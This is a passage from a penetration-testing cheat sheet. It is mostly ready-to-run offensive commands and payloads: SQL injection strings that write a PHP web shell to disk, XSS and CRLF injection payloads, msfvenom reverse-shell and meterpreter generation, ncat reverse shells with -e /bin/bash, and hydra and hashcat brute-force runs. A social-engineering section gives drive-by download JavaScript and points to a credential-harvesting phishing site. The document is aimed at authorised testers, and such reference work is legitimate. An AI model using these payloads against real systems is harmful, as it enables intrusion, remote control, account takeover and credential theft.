wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt

```

Fuzz parameter values:

```fundamental

wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt

wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt

wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"someparam\": \"WFUZZ\"}" -w somewordlist.txt

```

Fuzz parameters:

```fundamental

wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt

wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt

wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"WFUZZ\": \"somevalue\"}" -w somewordlist.txt

```

Additional example, internal SSRF fuzzing:

```fundamental

wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt

wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt

```

| Option | Description |

| --- | --- |

| -f | Store results in the output file |

| -t | Specify the number of concurrent connections (10 default) |

| -s | Specify time delay between requests (0 default) |

| -u | Specify a URL for the request |

| -w | Specify a wordlist file |

| -X | Specify an HTTP method for the request, i.e., HEAD or FUZZ |

| -b | Specify a cookie for the requests |

| -d | Use post data |

| -H | Use header |

| --hc/--hl/--hw/--hh | Hide responses with the specified code/lines/words/chars |

| --sc/--sl/--sw/--sh| Show responses with the specified code/lines/words/chars |

| --ss/--hs| Show/hide responses with the specified regex within the content |

### Insecure Direct Object Reference (IDOR)

First, try to simply change one value to another, e.g., change `[email protected]` to `[email protected]`, change some ID from `1` to `2`, etc.

It is likely that lower number IDs will relate to some higher privilege accounts or roles.

Second, try parameter pollution:

```fundamental

"email":"[email protected],[email protected]"

"email":"[email protected] [email protected]"

"email":"[email protected]","email":"[email protected]"

"email":"[email protected],[email protected]"

"email":"[email protected] [email protected]"

"email":"[email protected]","email":"[email protected]"

"email":("[email protected]","[email protected]")

"email":["[email protected]","[email protected]"]

"email":{"[email protected]","[email protected]"}

"email":("[email protected]","[email protected]")

"email":["[email protected]","[email protected]"]

"email":{"[email protected]","[email protected]"}

email=hacker%40gmail.com,victim%40gmail.com

email=hacker%40gmail.com%20victim%40gmail.com

email=hacker%40gmail.com&email=victim%40gmail.com

email[]=hacker%40gmail.com&email[]=victim%40gmail.com

email=victim%40gmail.com,hacker%40gmail.com

email=victim%40gmail.com%20hacker%40gmail.com

email=victim%40gmail.com&email=hacker%40gmail.com

email[]=victim%40gmail.com&email[]=hacker%40gmail.com

```

To generate the above output, run [idor.py](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/scripts/idor.py):

```fundamental

python3 idor.py -n email -i [email protected] -t [email protected]

```

### HTTP Response Splitting

Also known as CRLF injection. CRLF refers to carriage return (`ASCII 13`, `\r`) and line feed (`ASCII 10`, `\n`).

When encoded, `\r` refers to `%0D` and `\n` refers to `%0A`.

Fixate a session cookie:

```fundamental

somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789

```

Open redirect:

```fundamental

somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com

```

Session fixation and open redirection are one of many techniques used in combination with HTTP response splitting. Search the Internet for more techniques.

### Cross-Site Scripting (XSS)

Simple cross-site scripting (XSS) payloads:

```html

alert(1)



```

Hosting JavaScript on [Pastebin](https://pastebin.com) won't work because Pastebin always returns `text/plain` content-type.

Find out more about reflected and stored cross-site scripting (XSS) attacks, as well as cross-site request forgery (XSRF/CSRF) attacks at [ivan-sincek/xss-catcher](https://github.com/ivan-sincek/xss-catcher).

Valid emails with embedded XSS:

```html

user+(alert(1))@somedomain.com

user@somedomain(alert(1)).com

"alert(1)"@somedomain.com

```

### SQL Injection

**The following payloads were tested on MySQL database. Note that MySQL requires a whitespace character between the comment symbol and the next character.**

If you need to URL encode the whitespace character, use `%20` or `+` instead.

Try to produce database errors by injecting a single-quote, back-slash, double-hyphen, forward-slash, or period.

**Always make sure to properly close the surrounding code.**

Read this OWASP [article](https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF) to learn how to bypass WAF.

---

Boolean-based SQLi:

```fundamental

' OR 1=1-- 

' OR 1=2-- 

```

---

Union-based SQLi:

```fundamental

' UNION SELECT 1,2,3,4-- 

' UNION SELECT NULL,NULL,NULL,NULL-- 

' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4-- 

' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns-- 

' UNION SELECT 1,load_file('..\\..\\apache\\conf\\httpd.conf'),3,4-- 

```

If using, e.g., `1,2,3,4` does not work, try using `NULL,NULL,NULL,NULL` respectively.

Use the union-based SQLi only when you are able to use the same communication channel to both launch the attack and gather results.

The goal is to determine the exact number of columns in the SQL query and to figure out which of them are shown back to the user.

Another way to determine the exact number of columns is by using, e.g., `' ORDER BY 1-- `, where `1` is the column number used for sorting - incrementing it by one on each try.

---

Time-based SQLi:

```fundamental

' AND (SELECT 1 FROM (SELECT sleep(2)) test)-- 

' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)-- 

' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)-- 

' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)-- 

' AND IF(version() LIKE '5%',sleep(2),sleep(0))-- 

```

Use the time-based SQLi when you are not able to see the results.

---

Check for the existance/correctness:

```fundamental

' AND (SELECT 'exists' FROM users) = 'exists

' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists

' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct

' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct

'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'

```

---

Inject a [simple PHP web shell](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/simple_php_web_shell_get.php) based on HTTP GET request:

```fundamental

' UNION SELECT '', '', '', '' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'-- 

' UNION SELECT '', '', '', '0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?>Simple PHP Web Shell
' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'-- 

```


**To successfully inject a web shell, the current database user must have a write permission.**

### sqlmap

Inject SQL code into request parameters:

```fundamental

sqlmap -a -u somesite.com/index.php?username=test&password=test

sqlmap -a -u somesite.com/index.php --data username=test&password=test

sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password

```

| Option | Description |

| --- | --- |

| -u | Target URL |

| -H | Extra HTTP header |

| --data | Data string to be sent through POST |

| --cookie | HTTP Cookie header value |

| --proxy | Use a proxy to connect to the target URL (\[protocol://\]host\[:port\]) |

| -p | Testable parameter(s) |

| --level | Level of tests to perform (1-5, default: 1) |

| --risk | Risk of tests to perform (1-3, default: 1) |

| -a | Retrieve everything |

| -b | Retrieve DBMS banner |

| --dump-all | Dump all DBMS databases tables entries |

| --os-shell | Prompt for an interactive operating system shell |

| --os-pwn | Prompt for an OOB shell, Meterpreter, or VNC |

| --sqlmap-shell | Prompt for an interactive sqlmap shell |

| --wizard | Simple wizard interface for beginner users |

| --dbms | To do. |

### dotdotpwn

Traverse a path (e.g., `somesite.com/../../../etc/passwd`):

```fundamental

dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com

dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com

dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'

```

Try to prepend a protocol such as `file://`, `gopher://`, `dict://`, `php://`, `jar://`, `ftp://`, `tftp://`, etc., to the file path; e.g, `file://TRAVERSAL`.

Check some additional directory traversal tips at [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md). Credits to the author!

| Option | Description |

| --- | --- |

| -m | Module (http, http-url, ftp, tftp payload, stdout) |

| -h | Hostname |

| -O | Operating System detection for intelligent fuzzing (nmap) |

| -o | Operating System type if known ("windows", "unix", or "generic") |

| -d | Depth of traversals (default: 6) |

| -f | Specific filename (default: according to OS detected) |

| -S | Use SSL for HTTP and Payload module (not needed for http-url) |

| -u | URL with the part to be fuzzed marked as TRAVERSAL |

| -k | Text pattern to match in the response |

| -p | Filename with the payload to be sent and the part to be fuzzed marked with the TRAVERSAL keyword |

| -x | Port to connect (default: HTTP=80; FTP=21; TFTP=69) |

| -U | Username (default: 'anonymous') |

| -P | Password (default: 'dot(at)dot.pwn') |

| -M | HTTP Method to use when using the 'http' module (GET, POST, HEAD, COPY, MOVE, default: GET) |

| -b | Break after the first vulnerability is found |

| -C | Continue if no data was received from host |

### Web Shells

Find out more about PHP shells at [ivan-sincek/php-reverse-shell](https://github.com/ivan-sincek/php-reverse-shell).

Find out more about Java/JSP shells at [ivan-sincek/java-reverse-tcp](https://github.com/ivan-sincek/java-reverse-tcp).

### Send a Payload With Python

Find out how to generate a reverse shell payload for Python and send it to the target machine at [ivan-sincek/send-tcp-payload](https://github.com/ivan-sincek/send-tcp-payload).

## 4. Post Exploitation

### 4.1 Useful Websites

* [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)

* [lolbas-project.github.io](https://lolbas-project.github.io)

* [gtfobins.github.io](https://gtfobins.github.io)

### Generate a Reverse Shell Payload for Windows OS

To generate a `Base64 encoded payload`, use one of the following MSFvenom commands, modify them to your need:

```fundamental

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt

```

To generate a `binary file`, use one of the following MSFvenom commands, modify them to your need:

```fundamental

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin

```

To generate a `DLL file`, use one of the following MSFvenom commands, modify them to your need:

```fundamental

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll

```

To generate a `standalone executable`, file use one of the following MSFvenom commands, modify them to your need:

```fundamental

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe

```

To generate an `MSI file`, use one of the following MSFvenom commands, modify them to your need:

```fundamental

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi

```

Bytecode might not work on the first try due to some other bad characters. Trial and error is the key.

So far there is no easy way to generate a DLL nor MSI file with a stageless meterpreter shell due to the size issues.

### PowerShell Encoded Command

To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command:

```pwsh

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))

```

To run the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

```pwsh

PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand $command

```

To decode a PowerShell encoded command, run the following PowerShell command:

```pwsh

[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command))

```

Find out more about PowerShell reverse and bind TCP shells at [ivan-sincek/powershell-reverse-tcp](https://github.com/ivan-sincek/powershell-reverse-tcp).

## 5. Password Cracking

**Google a hash before trying to crack it because you might save yourself a lot of time and trouble.**

Use [Google Dorks](#google-dorks), [Chad](#chad), or [FOCA](#foca) to find and download files, and within the files' metadata, domain usernames to brute force.

**Keep in mind that you might lockout people's accounts.**

Some web forms have CAPTCHA challenge and/or hidden submission token which may prevent you from brute forcing. If that is the case, try to submit a request without the CAPTCHA challenge response and submission token.

You can find a bunch of useful wordlists in [SecLists](#wordlists).

### 5.1 Useful Websites

* [gchq.github.io/CyberChef](https://gchq.github.io/CyberChef)

* [onlinehashcrack.com](https://www.onlinehashcrack.com)

* [hashkiller.io/listmanager](https://hashkiller.io/listmanager) - has many other tools

* [hashes.com/en/decrypt/hash](https://hashes.com/en/decrypt/hash) - has many other tools

* [crackstation.net](https://crackstation.net)

* [weakpass.com/wordlist](https://weakpass.com/wordlist) - lots of password dumps

* [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists)

### crunch

Generate a lower-alpha-numeric wordlist:

```fundamental

crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt

```

See the list of all available charsets or add your own in `charset.lst` located at `/usr/share/crunch/` directory.

Generate all the possible permutations from words:

```fundamental

crunch -o crunch_wordlist.txt -p admin 123 \!\"

crunch -o crunch_wordlist.txt -q words.txt

```

Generate all the possible combinations from a charset:

```fundamental

crunch 4 6 -o crunch_wordlist.txt -p admin123\!\"

```

| Option | Description |

| --- | --- |

| -d | Limits the number of consecutive characters |

| -f | Specifies a character set from a file |

| -i | Inverts the output |

| -l | When you use the -t option this option tells crunch which symbols should be treated as literals |

| -o | Specifies the file to write the output to |

| -p | Tells crunch to generate/permute words that don't have repeating characters |

| -q | Tells crunch to read a file and permute what is read |

| -r | Tells crunch to resume generate words from where it left off, -r only works if you use -o |

| -s | Specifies a starting string |

| -t | Specifies a pattern |

| Placeholder | Description |

| --- | --- |

| \@ | Lower case characters |

| \, | Upper case characters |

| \% | Numbers |

| \^ | Symbols |

**Unfortunately, there is no placeholder ranging from lowercase-alpha to symbols.**

Generate all the possible combinations from a placeholder:

```fundamental

crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^

crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^

crunch 10 10 + + 123456 \!\" -o crunch_wordlist.txt -t admin@@%^^

crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa

```

### hash-identifier

To identify a hash type, run the following tool:

```fundamental

hash-identifier

```

### Hashcat

Brute force MD5 hashes:

```fundamental

hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt

```

Brute force NetNTLMv1 hashes:

```fundamental

hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt

```

Use `--session=` to save, and continue your cracking progress later using `--restore`.

Continue cracking progress:

```fundamental

hashcat --session=cracking --restore

```

| Option | Description |

| --- | --- |

| -m | Hash-type, see references below |

| -a | Attack-mode, see references below |

| --force | Ignore warnings |

| --runtime | Abort session after X seconds of runtime |

| --status | Enable automatic update of the status screen |

| -o | Define outfile for recovered hash |

| --show | Show cracked passwords found in potfile |

| --session | Define specific session name |

| --restore | Restore session from --session |

| --restore-file-path | Specific path to restore file |

| -O | Enable optimized kernels (limits password length) |

| -1 | User-defined charset ?1 |

| -2 | User-defined charset ?2 |

| -3 | User-defined charset ?3 |

| -4 | User-defined charset ?4 |

**When specifying a user-defined charset, escape `?` with another `?` (i.e., use `??` instead of `\?`).**

| Hash Type | Description |

| --- | --- |

| 0 | MD5 |

| 100 | SHA1 |

| 1400 | SHA256 |

| 1700 | SHA512 |

| 200  | MySQL323 |

| 300  | MySQL4.1/MySQL5 |

| 1000 | NTLM |

| 5500 | NetNTLMv1-VANILLA / NetNTLMv1-ESS |

| 5600 | NetNTLMv2 |

| 2500 | WPA/WPA2 |

| 16800 | WPA-PMKID-PBKDF2 |

| 16500 | JWT (JSON Web Token) |

For more hash types read the manual.

| Attack Mode | Name |

| --- | --- |

| 0 | Straight |

| 1 | Combination |

| 3 | Brute Force |

| 6 | Hybrid Wordlist + Mask |

| 7 | Hybrid Mask + Wordlist |

| 9 | Association |

| Charset | Description |

| --- | --- |

| \?l | abcdefghijklmnopqrstuvwxyz |

| \?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |

| \?d | 0123456789 |

| \?s | \!\"\#\$\%\&\'\(\)\*\+\,\-\.\/\:\;\<\=\>\?\@\[\]\^\_\`\{\|\}\~ |

| \?a | \?l\?u\?d\?s |

| \?b | 0x00 - 0xff |

Dictionary attack:

```fundamental

hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt

hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt

```

You can find `rockyou.txt` wordlist in [SecLists](#wordlists).

Brute force a hash using a placeholder:

```fundamental

hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2

hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 \!\"\#\$\%\&\/\(\)\=??\* -2 ?d?1 ?u?l?l?l?l?2?2?2

```

### Cracking the JWT

Dictionary attack:

```fundamental

hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds

```

You can also check my JWT cracking tool at [ivan-sincek/jwt-bf](https://github.com/ivan-sincek/jwt-bf).

### Hydra

I prefer to use Burp Suite to brute force web forms, and Hydra for other services.

Dictionary attack on an HTTP POST login web form:

```fundamental

hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'

```

When brute forcing a login web form, you must specify `Login=Login:` to distinguish between the successful and failed login attempts. Change the `username` and `password` request parameter names as necessary.

Dictionary attack on a Secure Shell (SSH) login:

```fundamental

hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh

```

You can find a bunch of useful wordlists in [SecLists](#wordlists).

| Option | Description |

| --- | --- |

| -R | Restore a previous aborted/crashed session |

| -S | Perform an SSL connect |

| -O | Use old SSL v2 and v3 |

| -s | If the service is on a different default port, define it here |

| -l | Login with a login name |

| -L | Load several logins from a file |

| -p | Login with a password |

| -P | Load several passwords from a file |

| -x | Password brute force generation (MIN:MAX:CHARSET), type "-x -h" to get help |

| -y | Disable use of symbols in bruteforce |

| -e | Try "n" null password, "s" login as pass and/or "r" reversed login |

| -o | Write found login/password pairs to a file instead of stdout |

| -f/-F | Exit when a login/pass pair is found (-f per host, -F global) |

| -M | List of servers to attack, one entry per line, ':' to specify port |

| Supported Services |

| --- |

| ftp\[s\] |

| http\[s\]\-\{get\|post\}\-form |

| mysql |

| smb |

| smtp\[s\] |

| snmp |

| ssh |

| telnet\[s\] |

| vnc |

For more supported services read the manual.

| Brute Force Syntax | Description |

| --- | --- |

| MIN | Minimum number of characters in the password |

| MAX | Maximum number of characters in the password |

| CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |

Brute force attack on FTP:

```fundamental

hydra -o hydra_results.txt -l admin -x 4:4:aA1\!\"\#\$\% 192.168.8.5 ftp

```

### Password Spraying

After you have collected enough usernames from the [reconnaissance phase](#1-reconnaissance), it is time to try and brute force some of them.

Find out how to generate a good password spraying wordlist at [ivan-sincek/wordlist-extender](https://github.com/ivan-sincek/wordlist-extender), but first you will need a few good keywords that describe your target.

Such keywords can include a company name, abbreviations, or words that describe the company's services, products, etc.

After you generated the wordlist, use it with tools such as [Hydra](#hydra), [Burp Suite Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder), etc., to brute force login web forms. Hydra can attack authentication mechanisms for all kinds of services and ports.

If strong password policy is enforced, lazy passwords usually start with one capitalized word followed by a few digits and one special character at the end (e.g., Password123!).

You can also use the generated wordlist with [hashcat](#hashcat), e.g., to crack NTLMv2 hashes that you have collected using LLMNR responder during a network penetration testing, etc.

## 6. Social Engineering

Find out how to embed a PowerShell script into an MS Word document at [ivan-sincek/powershell-reverse-tcp](https://github.com/ivan-sincek/powershell-reverse-tcp#ms-word).

### Drive-by Download

To force users to download a malicious file, copy and paste this JavaScript code block on any cloned web page:

```javascript

function download(url, type, name, method) {

	var req = new XMLHttpRequest();

	req.open(method, url, true);

	req.responseType = 'blob';

	req.onload = function() {

		var blob = new Blob([req.response], { type: type })

		var isIE = false || !!document.documentMode;

		if (isIE) {

			// IE doesn't allow using a blob object directly as link

			// instead it is necessary to use msSaveOrOpenBlob()

			if (window.navigator && window.navigator.msSaveOrOpenBlob) {

				window.navigator.msSaveOrOpenBlob(blob, name);

			}

		} else {

			var anchor = document.createElement('a');

			anchor.href = window.URL.createObjectURL(blob);

			anchor.download = name;

			anchor.click();

			// in Firefox it is necessary to delay revoking the ObjectURL

			setTimeout(function() {

				window.URL.revokeObjectURL(anchor);

				anchor.remove();

			}, 250);

		}

	};

	req.send();

}

// specify your file here, use only an absolute URL

download('http://localhost/files/pentest.pdf', 'application/pdf', 'pentest.pdf', 'GET');

// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');

```

To try it out, copy all the content from [\\social_engineering\\driveby_download\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/driveby_download) to your server's web root directory (e.g., to \\xampp\\htdocs\\ on XAMPP), and navigate to the web page with your preferred web browser.

### Phishing Website

To try it out, copy all the content from [\\social_engineering\\phishing_website\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/phishing_website) to your server's web root directory (e.g., to \xampp\htdocs\ on XAMPP), and navigate to the web page with your preferred web browser.

Captured credentials will be stored in [\\social_engineering\\phishing_website\\logs\\credentials.log](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/phishing_website/logs).



Figure 2 - Phishing Website


Read the comments in [\\social_engineering\\phishing_website\\index.php](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/index.php) to get a better understanding on how all of it works.

You can modify and expand this template to your liking. You have everything that needs to get you started.

You can easily customize [CSS](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/css/main.css) to make it look more like the company you are testing, e.g., change colors, logo, etc.

Check the standalone redirect templates in [\\social_engineering\\phishing_website\\redirects\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/redirects) directory.

Use SingleFile ([Chrome](https://chrome.google.com/webstore/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle))([FireFox](https://addons.mozilla.org/hr/firefox/addon/single-file)) browser extension to download a web page as a single HTML file, then, rename the file to `index.php`.

## 7. Miscellaneous

Here you can find a bunch of random stuff.

### 7.1 Useful Websites

* [jsonlint.com](https://jsonlint.com)

* [base64decode.org](https://www.base64decode.org)

* [urldecoder.org](https://www.urldecoder.org)

* [bitly.com](https://bitly.com- URL shortener

* [getcreditcardnumbers.com](https://www.getcreditcardnumbers.com) - dummy credit card info

### cURL

Download a file:

```fundamental

curl somesite.com/somefile.txt -o somefile.txt

```

Upload a file:

```fundamental

curl somesite.com/uploads/ -T somefile.txt

```

| Option | Description |

| --- | --- |

| -d | Sends the specified data in a POST request to the HTTP server |

| -H | Extra header to include in the request when sending HTTP to a server |

| -i | Include the HTTP response headers in the output |

| -k | Proceed and operate server connections otherwise considered insecure |

| -o | Write to file instead of stdout |

| -T | Transfers the specified local file to the remote URL, same as PUT method |

| -v | Make the operation more talkative |

| -x | Use the specified proxy (\[protocol://\]host\[:port\]) |

| -X | Specifies a custom request method to use when communicating with the HTTP server |

Find out how to test a web server for various HTTP methods and method overrides at [ivan-sincek/forbidden](https://github.com/ivan-sincek/forbidden).

### Ncat

\[Server\] Set up a listener:

```fundamental

ncat -nvlp 9000

ncat -nvlp 9000 > received_data.txt

ncat -nvlp 9000 -e /bin/bash

ncat -nvlp 9000 -e /bin/bash --ssl

ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem

ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OK\r\n\r\n"

```

\[Client\] Connect to a remote host:

```fundamental

ncat -nv 192.168.8.5 9000

ncat -nv 192.168.8.5 9000 < sent_data.txt

ncat -nv 192.168.8.5 9000 -e /bin/bash

ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl

ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem

```

Find out how to create an SSL/TLS certificate at [ivan-sincek/secure-website](https://github.com/ivan-sincek/secure-website/tree/master/crt).

Check if connection to a specified TCP port (e.g., port 22 or 23) is possible:

```bash

for i in {0..255}; do ncat -nv "192.168.8.${i}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done

for ip in $(cat ips.txt); do ncat -nv "${ip}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done

```

### multi/handler

Set up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):

```fundamental

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit

```

### ngrok

Use [ngrok](https://ngrok.com/download) to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.

I advise you not to transfer any sensitive data over it, just in case.

### Additional References

Credits to the authors!

* [book.hacktricks.xyz](https://book.hacktricks.xyz/welcome/readme)

* [infosecmatter.com/bug-bounty-tips](https://www.infosecmatter.com/bug-bounty-tips)

* [pentestbook.six2dez.com](https://pentestbook.six2dez.com)